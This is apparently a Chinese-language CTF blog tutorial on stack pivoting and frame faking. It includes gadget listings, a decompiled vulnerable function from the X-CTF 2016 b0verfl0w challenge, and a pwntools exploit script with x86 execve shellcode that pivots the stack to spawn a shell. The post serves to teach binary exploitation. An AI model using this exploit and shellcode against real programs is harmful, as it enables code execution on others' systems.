HackPluto's Blog

花式栈溢出技巧

字数统计: 1.1k阅读时长: 4 min
2019/09/29 Share

Stack pivoting

stack pivoting,就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行ROP。
一般来说,我们可能在以下情况需要使用 stack pivoting:
1.可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
2.开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
3.其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
此外,利用 stack pivoting 有以下几个要求:
1.可以控制程序执行流。
2.可以控制 sp 指针。

由于X86指令是非对齐指令集所以可以通过地址偏移来解析出控制sp的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gef➤  x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret

X-CTF Quals 2016 - b0verfl0w

题目地址为 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w

IDA反汇编结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed int vul()
{
char s; // [sp+18h] [bp-20h]@1

puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}

题目接收50字节的输入,s的位置是ebp-20h 所以可以控制的溢出字节为50-32-4=14字节,而目前我自己使用最短的shellcode 为23字节,所以溢出内存是不够我们用的,但是我们可以将shellcode放在s的内存里,然后将ESP指向shellcode,再控制EIP,从而执行shellcode。

检查程序的保护

程序没有开启什么保护

寻找gadgets

1
2
3
4
5
6
7
8
➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'         
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 3

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

frame faking

概括地讲,我们在之前讲的栈溢出不外乎两种方式
控制程序 EIP
控制程序 EBP
其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下

1
buffer padding|fake ebp|leave ret addr|

函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下

1
2
3
4
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。
在有栈溢出的程序执行 leave 时,其分为两个步骤
1.mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
2.pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保存了 ebp2 所在的地址。
执行 ret 指令,会再次执行 leave ret 指令。
执行 leave 指令,其分为两个步骤
1.mov esp, ebp ,这会将 esp 指向 ebp2。
2.pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行
push ebp,会将 ebp2 值压入栈中,
mov ebp, esp,将 ebp 指向当前基地址。
此时的栈结构如下

1
2
3
4
ebp
|
v
ebp2|leave ret addr|arg1|arg2

可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。

2018 安恒杯 over




















CATALOG
  1. 1. Stack pivoting
  2. 2. frame faking